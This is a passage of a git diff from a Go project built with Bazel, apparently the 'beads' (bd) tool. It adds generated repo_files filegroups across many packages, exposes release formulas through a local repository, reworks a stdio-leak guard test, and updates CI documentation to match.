srcs = [ - ".buildflags", - ".test-skip", - ], - visibility = ["//scripts:__pkg__"], -) - # //internal/versioncheck and //scripts/check-versions release-gate tests: the # metadata surfaces versioncheck.releaseSources gates, plus the canonical # version it compares them against and the tracked git hooks whose version @@ -141,12 +82,6 @@ filegroup( # Hand-listed rather than globbed because releaseSources is itself a closed # list: a newly gated surface must be added here too, and until it is the test # fails under Bazel (it passes under `go test`, which sees the whole checkout). -# -# The exception is npm-package/package.json: npm-package/ is in .bazelignore, -# so no target can declare it. Listing it anyway passes under remote execution -# but fails in a local sandbox, which is how fork-PR CI runs. -# TestRepositoryReleaseVersionsMatch tolerates exactly its absence under -# Bazel; `go test` still checks it. filegroup( name = "release_metadata_files", srcs = [ @@ -154,6 +89,7 @@ filegroup( "integrations/beads-mcp/pyproject.toml", "integrations/beads-mcp/src/beads_mcp/__init__.py", "integrations/beads-mcp/uv.lock", + "npm-package/package.json", "//cmd/bd:version.go", "//cmd/bd:winres/manifest.xml", "//cmd/bd:winres/winres.json", @@ -167,35 +103,6 @@ filegroup( ], ) -# Inputs of the Bazel policy tests in //scripts (bazel_policy_test.go), so they -# run under `bazel test` as well as `go test`. -filegroup( - name = "bazel_policy_files", - srcs = [ - ".bazelrc", - ".bazelversion", - ".gitignore", - "BUILD.bazel", - "MODULE.bazel", - "go.mod", - ], - visibility = ["//scripts:__pkg__"], -) - -# F3: TestMCPPytestWorkerCountPinned (ci_workflow_test.go) reads the MCP -# package's pytest-xdist pin directly from its manifest and lock file, so it -# runs under `bazel test` as well as `go test`. integrations/beads-mcp has no -# BUILD.bazel of its own (unlike npm-package/, it is not .bazelignore'd), so -# these are ordinary sources under this package. -filegroup( - name = "mcp_package_policy_files", - srcs = [ - "integrations/beads-mcp/pyproject.toml", - "integrations/beads-mcp/uv.lock", - ], - visibility = ["//scripts:__pkg__"], -) - go_library( name = "beads", srcs = [ @@ -261,3 +168,212 @@ exports_files( ["engdocs/design/http-divergence-ledger.md"], visibility = ["//internal/httpclient/encode:__pkg__"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ".agents/**", + ".amp/**", + ".augment/**", + ".bazelrc.local", + ".claude/*.lock", + ".claude/*.log", + ".claude/settings.local.json", + ".codex/**", + ".cursor/**", + ".direnv/**", + ".envrc", + ".git/**", + ".idea/**", + ".logs/**", + ".vscode/**", + "bazel-*/**", + "bd", + "bd-fixed", + "bd-original", + "bd-test", + "bd_test", + "beads", + "go.work", + "go.work.sum", + "history/**", + "mcp_agent_mail/**", + "npm-package/bin/*.tar.gz", + "npm-package/bin/*.zip", + "npm-package/bin/CHANGELOG.md", + "npm-package/bin/LICENSE", + "npm-package/bin/README.md", + "npm-package/bin/bd", + "npm-package/package-lock.json", + "output", + "result", + "state.json", + "user.bazelrc", + ], + ) + [ + "//backend:repo_files", + "//backend/conformance:repo_files", + "//beadserrors:repo_files", + "//cmd/bd:repo_files", + "//cmd/bd/doctor:repo_files", + "//cmd/bd/doctor/fix:repo_files", + "//cmd/bd/protocol:repo_files", + "//cmd/bd/setup:repo_files", + "//format:repo_files", + "//internal/ado:repo_files", + "//internal/atomicfile:repo_files", + "//internal/audit:repo_files", + "//internal/beads:repo_files", + "//internal/ceiling:repo_files", + "//internal/compact:repo_files", + "//internal/config:repo_files", + "//internal/configfile:repo_files", + "//internal/creds:repo_files", + "//internal/debug:repo_files", + "//internal/doltremote:repo_files", + "//internal/doltserver:repo_files", + "//internal/doltversion:repo_files", + "//internal/eventsjournal:repo_files", + "//internal/execenv:repo_files", + "//internal/fdhygiene:repo_files", + "//internal/formula:repo_files", + "//internal/formula/cmd/schemagen:repo_files", + "//internal/formula/schemagen:repo_files", + "//internal/git:repo_files", + "//internal/gitenv:repo_files", + "//internal/githooksenv:repo_files", + "//internal/github:repo_files", + "//internal/gitignore:repo_files", + "//internal/gitlab:repo_files", + "//internal/gittraceenv:repo_files", + "//internal/hooks:repo_files", + "//internal/httpapi:repo_files", + "//internal/httpapi/apigen:repo_files", + "//internal/httpapi/spec:repo_files", + "//internal/httpapi/wireshape:repo_files", + "//internal/httpapi/wireshape/cmd/gendigest:repo_files", + "//internal/httpclient:repo_files", + "//internal/httpclient/encode:repo_files", + "//internal/httpclient/wire:repo_files", + "//internal/idgen:repo_files", + "//internal/jira:repo_files", + "//internal/linear:repo_files", + "//internal/lockfile:repo_files", + "//internal/memoryapi:repo_files", + "//internal/metrics:repo_files", + "//internal/migration:repo_files", + "//internal/migration/legacysqlite:repo_files", + "//internal/molecules:repo_files", + "//internal/notion:repo_files", + "//internal/procid:repo_files", + "//internal/query:repo_files", + "//internal/recipes:repo_files", + "//internal/remotecache:repo_files", + "//internal/routing:repo_files", + "//internal/storage:repo_files", + "//internal/storage/backendnames:repo_files", + "//internal/storage/backends:repo_files", + "//internal/storage/batchbench:repo_files", + "//internal/storage/batchfixtures:repo_files", + "//internal/storage/contextinfo:repo_files", + "//internal/storage/createbatchequiv:repo_files", + "//internal/storage/dberrors:repo_files", + "//internal/storage/dbproxy/identity:repo_files", + "//internal/storage/dbproxy/pidfile:repo_files", + "//internal/storage/dbproxy/proxy:repo_files", + "//internal/storage/dbproxy/server:repo_files", + "//internal/storage/dbproxy/util:repo_files", + "//internal/storage/depid:repo_files", + "//internal/storage/dolt:repo_files", + "//internal/storage/doltutil:repo_files", + "//internal/storage/domain:repo_files", + "//internal/storage/domain/db:repo_files", + "//internal/storage/domain/fs:repo_files", + "//internal/storage/domain/git:repo_files", + "//internal/storage/embeddeddolt:repo_files", + "//internal/storage/embeddeddolt/cmd:repo_files", + "//internal/storage/externaldeps:repo_files", + "//internal/storage/fs:repo_files", + "//internal/storage/git:repo_files", + "//internal/storage/issueops:repo_files", + "//internal/storage/journalscan:repo_files", + "//internal/storage/kvkeys:repo_files", + "//internal/storage/memoryops:repo_files", + "//internal/storage/rowid:repo_files", + "//internal/storage/schema:repo_files", + "//internal/storage/sqlbuild:repo_files", + "//internal/storage/sqlclass:repo_files", + "//internal/storage/sqlcount:repo_files", + "//internal/storage/storagecontract:repo_files", + "//internal/storage/uow:repo_files", + "//internal/storage/versioncontrolops:repo_files", + "//internal/telemetry:repo_files", + "//internal/templates:repo_files", + "//internal/templates/agents:repo_files", + "//internal/testutil:repo_files", + "//internal/testutil/bazeltest:repo_files", + "//internal/testutil/credentialcmd:repo_files", + "//internal/testutil/fixtures:repo_files", + "//internal/testutil/integration:repo_files", + "//internal/timeparsing:repo_files", + "//internal/tracker:repo_files", + "//internal/tracker/conformance:repo_files", + "//internal/types:repo_files", + "//internal/ui:repo_files", + "//internal/uimd:repo_files", + "//internal/utils:repo_files", + "//internal/validation:repo_files", + "//internal/versioncheck:repo_files", + "//internal/workapi:repo_files", + "//internal/workapi/storecounter:repo_files", + "//internal/workapi/storequerier:repo_files", + "//internal/workapi/storereader:repo_files", + "//internal/workapi/storereadycounter:repo_files", + "//internal/workapi/storestats:repo_files", + "//internal/workapi/storeversionreconciler:repo_files", + "//internal/workapi/storeworkspaceconfig:repo_files", + "//internal/workspacegate:repo_files", + "//internal/worktreeremove:repo_files", + "//issueops:repo_files", + "//journalops:repo_files", + "//memoryops:repo_files", + "//plugins/beads:repo_files", + "//schema:repo_files", + "//scripts:repo_files", + "//scripts/bench-ready-indexes:repo_files", + "//scripts/check-versions:repo_files", + "//scripts/checkworkflowtags:repo_files", + "//scripts/gitattributespolicy:repo_files", + "//scripts/internal/testbash:repo_files", + "//scripts/migration-test/catalog:repo_files", + "//scripts/pr-lint:repo_files", + "//scripts/prlintmake:repo_files", + "//scripts/repro-dolt-hang:repo_files", + "//scripts/repro-dolt-prod-timeouts:repo_files", + "//scripts/workflowtags:repo_files", + "//test/conformance:repo_files", + "//test/docsync:repo_files", + "//test/testmainconvention:repo_files", + "//third_party/patches:repo_files", + "//tools/bazel:repo_files", + "//tools/docsmint:repo_files", + ], + visibility = [ + "//scripts:__pkg__", + "//test/docsync:__pkg__", + ], +) + +# --- end repo_files --- diff --git a/MODULE.bazel b/MODULE.bazel index ff3e3cafb..e5fe1df52 100644 --- a/MODULE.bazel +++ b/MODULE.bazel @@ -76,3 +76,18 @@ dolt_release( name = "dolt_darwin_arm64", platform = "darwin-arm64", ) + +# The tracked release formula, for //scripts:scripts_test. .beads/ also holds +# live bd data and is in .bazelignore, so no main-repo target can declare the +# formula; this local repository exposes only .beads/formulas. +new_local_repository = use_repo_rule("@bazel_tools//tools/build_defs/repo:local.bzl", "new_local_repository") + +new_local_repository( + name = "beads_formulas", + build_file_content = """exports_files( + glob(["*.formula.toml"]), + visibility = ["@@//scripts:__pkg__"], +) +""", + path = ".beads/formulas", +) diff --git a/backend/BUILD.bazel b/backend/BUILD.bazel index 0f7dac0be..efaf0d7b9 100644 --- a/backend/BUILD.bazel +++ b/backend/BUILD.bazel @@ -43,3 +43,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/backend/conformance/BUILD.bazel b/backend/conformance/BUILD.bazel index 1bd7e0271..3ff778c49 100644 --- a/backend/conformance/BUILD.bazel +++ b/backend/conformance/BUILD.bazel @@ -111,3 +111,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/beadserrors/BUILD.bazel b/beadserrors/BUILD.bazel index 5285eb578..51c339a62 100644 --- a/beadserrors/BUILD.bazel +++ b/beadserrors/BUILD.bazel @@ -19,3 +19,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 624205455..10f006ac9 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -1552,19 +1552,6 @@ exports_files( visibility = ["//internal/httpapi:__pkg__"], ) -# Init-safety help text pinned by //test/docsync recovery-doc tests. -exports_files( - ["init_safety_help.go"], - visibility = ["//test/docsync:__pkg__"], -) - -# Contributor agent instructions; root AGENTS.md links them and -# //:docsync_files checks those links. -exports_files( - ["AGENTS.md"], - visibility = ["//:__pkg__"], -) - # Release-metadata surfaces gated by //internal/versioncheck's releaseSources # table: the canonical version and the Windows PE resource files. Aggregated # into //:release_metadata_files, which is what the tests declare as data. @@ -1589,3 +1576,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/cmd/bd/doctor/BUILD.bazel b/cmd/bd/doctor/BUILD.bazel index 5f541e3e8..cfd8abbdb 100644 --- a/cmd/bd/doctor/BUILD.bazel +++ b/cmd/bd/doctor/BUILD.bazel @@ -187,3 +187,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/cmd/bd/doctor/fix/BUILD.bazel b/cmd/bd/doctor/fix/BUILD.bazel index 7ab6423bc..adc25eb0a 100644 --- a/cmd/bd/doctor/fix/BUILD.bazel +++ b/cmd/bd/doctor/fix/BUILD.bazel @@ -167,3 +167,25 @@ filegroup( ) # --- end go_srcs --- + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/cmd/bd/protocol/BUILD.bazel b/cmd/bd/protocol/BUILD.bazel index d88b1110a..3d551d4fe 100644 --- a/cmd/bd/protocol/BUILD.bazel +++ b/cmd/bd/protocol/BUILD.bazel @@ -139,3 +139,25 @@ sh_test( shard_count = 8, tags = ["dolt-server"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/cmd/bd/setup/BUILD.bazel b/cmd/bd/setup/BUILD.bazel index 1dbae3b11..c95870119 100644 --- a/cmd/bd/setup/BUILD.bazel +++ b/cmd/bd/setup/BUILD.bazel @@ -60,3 +60,25 @@ go_test( "@in_gopkg_yaml_v3//:yaml_v3", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/cmd/bd/test_repo_beads_guard_test.go b/cmd/bd/test_repo_beads_guard_test.go index ce3081d01..a5fa4927a 100644 --- a/cmd/bd/test_repo_beads_guard_test.go +++ b/cmd/bd/test_repo_beads_guard_test.go @@ -54,8 +54,14 @@ type testRunner interface { Run() int } +// preRunStdout and preRunStderr are os.Stdout/os.Stderr as runTestsAndSweep +// saw them before m.Run: TestZZStdioNotLeaked's baseline when +// TestAAAStdioBaseline did not run in this process. +var preRunStdout, preRunStderr *os.File + func runTestsAndSweep(m testRunner) int { stdout, stderr := os.Stdout, os.Stderr + preRunStdout, preRunStderr = stdout, stderr code := m.Run() code = checkStdioAfterRun(code, stdout, stderr) swept := doltserver.SweepSuiteTestServers(testTempRoot) diff --git a/cmd/bd/zz_stdio_leak_guard_test.go b/cmd/bd/zz_stdio_leak_guard_test.go index 66bfc4cbd..6784acc2f 100644 --- a/cmd/bd/zz_stdio_leak_guard_test.go +++ b/cmd/bd/zz_stdio_leak_guard_test.go @@ -18,25 +18,33 @@ import ( // // It only sees tests that ran before it in this process. TestMain repeats the // check after m.Run (checkStdioAfterRun), which covers every test in the -// process, including each Bazel shard, where this test runs in one shard only. +// process, including each Bazel shard. +// +// Where TestAAAStdioBaseline did not run in this process (a -run filter, or a +// Bazel shard that holds this test but not that one), the baseline is the +// streams TestMain saw before m.Run, with checkStdioAfterRun's one allowance: +// the framework's own -json swap, os.Stderr = os.Stdout. func TestZZStdioNotLeaked(t *testing.T) { - if baselineStdout == nil || baselineStderr == nil { - // TestAAAStdioBaseline did not run in this process (-run filtered it - // out, or Bazel sharding put it in another shard); TestMain's check - // after m.Run still applies. - t.Skip("no baseline in this process; checkStdioAfterRun covers it") + wantStdout, wantStderr := baselineStdout, baselineStderr + frameworkSwapAllowed := false + if wantStdout == nil || wantStderr == nil { + if preRunStdout == nil || preRunStderr == nil { + t.Fatal("neither TestAAAStdioBaseline nor TestMain recorded the streams; TestMain must run the suite through runTestsAndSweep") + } + wantStdout, wantStderr = preRunStdout, preRunStderr + frameworkSwapAllowed = true } - if os.Stdout != baselineStdout { + if os.Stdout != wantStdout { t.Errorf("os.Stdout was leaked by an earlier test (now fd=%d name=%q); "+ "a capture helper restored it on the happy path only - move the restore into a defer", os.Stdout.Fd(), os.Stdout.Name()) - os.Stdout = baselineStdout + os.Stdout = wantStdout } - if os.Stderr != baselineStderr { + if os.Stderr != wantStderr && (!frameworkSwapAllowed || os.Stderr != wantStdout) { t.Errorf("os.Stderr was leaked by an earlier test (now fd=%d name=%q); "+ "a capture helper restored it on the happy path only - move the restore into a defer", os.Stderr.Fd(), os.Stderr.Name()) - os.Stderr = baselineStderr + os.Stderr = wantStderr } } diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index 091d58be6..72b3c0d01 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -647,7 +647,7 @@ Do not require these existing check names directly: - `Test (macos-latest)` - `Test (storage domain + uow)` - `Test (Dolt server fingerprint)` -- `Go checks (scripts-test)`, `Go checks (vet)` and `Go checks (allowlisted)` +- `Go checks (vet)` - `Contract corpus (golden + determinism + conformance)` - `PR Core (wrapper timing)` - `Build Artifacts` @@ -927,28 +927,30 @@ manifests. On those PRs they are the tiers' only pre-merge run, and `TEST_DOLT_SERVER_FINGERPRINT`). `check-release-target-cross-compilation` still `go build`s `./...` with `CGO_ENABLED=0` on every PR. - Also kept on every PR, in the required job `scripts-go-checks` - (`SCRIPTS_GO_CHECKS`; PR Core's environment: dolt, git and dolt - identity, `scripts/ci/lib/test-env.sh`): - - `go test ./scripts/...` with PR Core's flags - (`scripts/ci/scripts-go-test.sh`). The repository policy tests, - including the D2 guards, check part or all of their rules under - `go test` only (their inputs are not in `//scripts:scripts_test`'s - runfiles), so without this they would have no required pre-merge run - on covered PRs. - - `go test`'s own vet checks (cmd/go's `defaultVetFlags`, policy-tested - equal to the toolchain's) over `./...` (`scripts/ci/go-test-vet.sh`): - rules_go's `go_test` runs no vet, so a `go test` vet finding would - otherwise first fail on `main` and then on every fork PR. - - the Go tests `bazel test --config=ci` does not run or skips - (`tools/bazel/equivalence_allowlist.txt`), under `go test` - (`scripts/ci/allowlisted-go-tests.sh`); each entry must match a test - that ran and passed. + (`SCRIPTS_GO_CHECKS`, one leg, `Go checks (vet)`): `go test`'s own vet + checks (cmd/go's `defaultVetFlags`, policy-tested equal to the + toolchain's) over `./...` (`scripts/ci/go-test-vet.sh`): rules_go's + `go_test` runs no vet, so a `go test` vet finding would otherwise first + fail on `main` and then on every fork PR. + - The repository policy tests (`./scripts/...`, including the D2 guards) + and the tests that walk the checkout run only under Bazel, remotely: + `//scripts:scripts_test` and `//test/docsync:docsync_test` take + `//:repo_files` as data, the checkout as Bazel sees it (every tracked + file outside `.bazelignore`, aggregated from the `repo_files` block + `tools/bazel/go_srcs.py` keeps in every package; the BUILD sync step's + `make bazel-sync-check` fails on a package without it). The release + formula under `.bazelignore`d `.beads/` comes in as `@beads_formulas`. + Their former `go test` legs (`Go checks (scripts-test)` and + `Go checks (allowlisted)`) are gone. - `TestBazelOnlySkipsAreAllowlisted` (itself go-test-only, so in that - job) requires every top-level test with a `TEST_SRCDIR`- or + `tools/bazel/equivalence_allowlist.txt` holds only the two `cmd/bd` + tests of plain `go test`'s own bd build fallback, which Bazel never + takes; `pr-preflight-platforms` runs them on every OS ("Exercise go + test's bd build fallback"). `TestBazelOnlySkipsAreAllowlisted` (under + Bazel too) requires every top-level test with a `TEST_SRCDIR`- or `bazeltest.IsBazel()`-guarded `t.Skip` to have an allowlist `skip` - entry, and every test that runs part of its checks under `go test` - only to live under `./scripts`. + entry, and no test anywhere to run part of its checks under `go test` + only. - Package gates on a covered PR in a non-remote mode (the farm switch off) fail in their own "Check the Bazel-built bd exists" step, naming `BAZEL_PR_LANES_RETIRED`, instead of on a missing artifact. @@ -1474,7 +1476,7 @@ check read. Non-Bazel required jobs re-run in full on every merge group (approximate PR timings, 2026-10): `fast-checks` (~40 s), `pr-policy-wrapper` -(~2.5 min), `scripts-go-checks` (3 legs, up to ~3.5 min), `pr-lint-wrapper` +(~2.5 min), `scripts-go-checks` (vet only), `pr-lint-wrapper` (native/darwin/windows, up to ~4 min), `check-doc-flags` (~1.7 min), `check-doc-freshness-platforms` and `pr-preflight-platforms` (Linux, Windows and macOS legs, up to ~5 min on Windows), diff --git a/format/BUILD.bazel b/format/BUILD.bazel index 3f6bc1da5..5d295c6c6 100644 --- a/format/BUILD.bazel +++ b/format/BUILD.bazel @@ -17,3 +17,25 @@ go_test( embed = [":format"], deps = ["//internal/types"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/ado/BUILD.bazel b/internal/ado/BUILD.bazel index bdfc59ce1..6f94e9775 100644 --- a/internal/ado/BUILD.bazel +++ b/internal/ado/BUILD.bazel @@ -49,3 +49,25 @@ go_test( "//internal/types", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/atomicfile/BUILD.bazel b/internal/atomicfile/BUILD.bazel index bc13a8982..ed52ef940 100644 --- a/internal/atomicfile/BUILD.bazel +++ b/internal/atomicfile/BUILD.bazel @@ -12,3 +12,25 @@ go_test( srcs = ["atomicfile_test.go"], embed = [":atomicfile"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/audit/BUILD.bazel b/internal/audit/BUILD.bazel index 7173c27c1..1cd6e6352 100644 --- a/internal/audit/BUILD.bazel +++ b/internal/audit/BUILD.bazel @@ -19,3 +19,25 @@ go_test( ], embed = [":audit"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/beads/BUILD.bazel b/internal/beads/BUILD.bazel index ef74544f6..27c6349c1 100644 --- a/internal/beads/BUILD.bazel +++ b/internal/beads/BUILD.bazel @@ -57,3 +57,25 @@ go_test( "//internal/utils", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/ceiling/BUILD.bazel b/internal/ceiling/BUILD.bazel index 9ef453ece..7de0ab073 100644 --- a/internal/ceiling/BUILD.bazel +++ b/internal/ceiling/BUILD.bazel @@ -12,3 +12,25 @@ go_test( srcs = ["ceiling_test.go"], embed = [":ceiling"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/compact/BUILD.bazel b/internal/compact/BUILD.bazel index 4218b4b98..3ff08a678 100644 --- a/internal/compact/BUILD.bazel +++ b/internal/compact/BUILD.bazel @@ -40,3 +40,25 @@ go_test( "@com_github_anthropics_anthropic_sdk_go//:anthropic-sdk-go", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/config/BUILD.bazel b/internal/config/BUILD.bazel index b0d181fd1..f2c2496a1 100644 --- a/internal/config/BUILD.bazel +++ b/internal/config/BUILD.bazel @@ -67,3 +67,25 @@ go_test( "//conditions:default": [], }), ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/configfile/BUILD.bazel b/internal/configfile/BUILD.bazel index fdfb88536..0d67a72a5 100644 --- a/internal/configfile/BUILD.bazel +++ b/internal/configfile/BUILD.bazel @@ -32,3 +32,25 @@ go_test( embed = [":configfile"], deps = ["//internal/config"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/creds/BUILD.bazel b/internal/creds/BUILD.bazel index 8e19e51f6..ad796d4c1 100644 --- a/internal/creds/BUILD.bazel +++ b/internal/creds/BUILD.bazel @@ -20,3 +20,25 @@ go_test( embed = [":creds"], deps = ["//internal/testutil/credentialcmd"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/debug/BUILD.bazel b/internal/debug/BUILD.bazel index 27accb99b..f23f1e5c8 100644 --- a/internal/debug/BUILD.bazel +++ b/internal/debug/BUILD.bazel @@ -12,3 +12,25 @@ go_test( srcs = ["debug_test.go"], embed = [":debug"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/doltremote/BUILD.bazel b/internal/doltremote/BUILD.bazel index edca71b4d..d0299f657 100644 --- a/internal/doltremote/BUILD.bazel +++ b/internal/doltremote/BUILD.bazel @@ -19,3 +19,25 @@ go_test( "//internal/storage/doltutil", ], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/doltserver/BUILD.bazel b/internal/doltserver/BUILD.bazel index c742a1952..05e2b6db0 100644 --- a/internal/doltserver/BUILD.bazel +++ b/internal/doltserver/BUILD.bazel @@ -191,3 +191,25 @@ go_test( "//conditions:default": [], }), ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/internal/doltversion/BUILD.bazel b/internal/doltversion/BUILD.bazel index d54009bb1..d49ef74b1 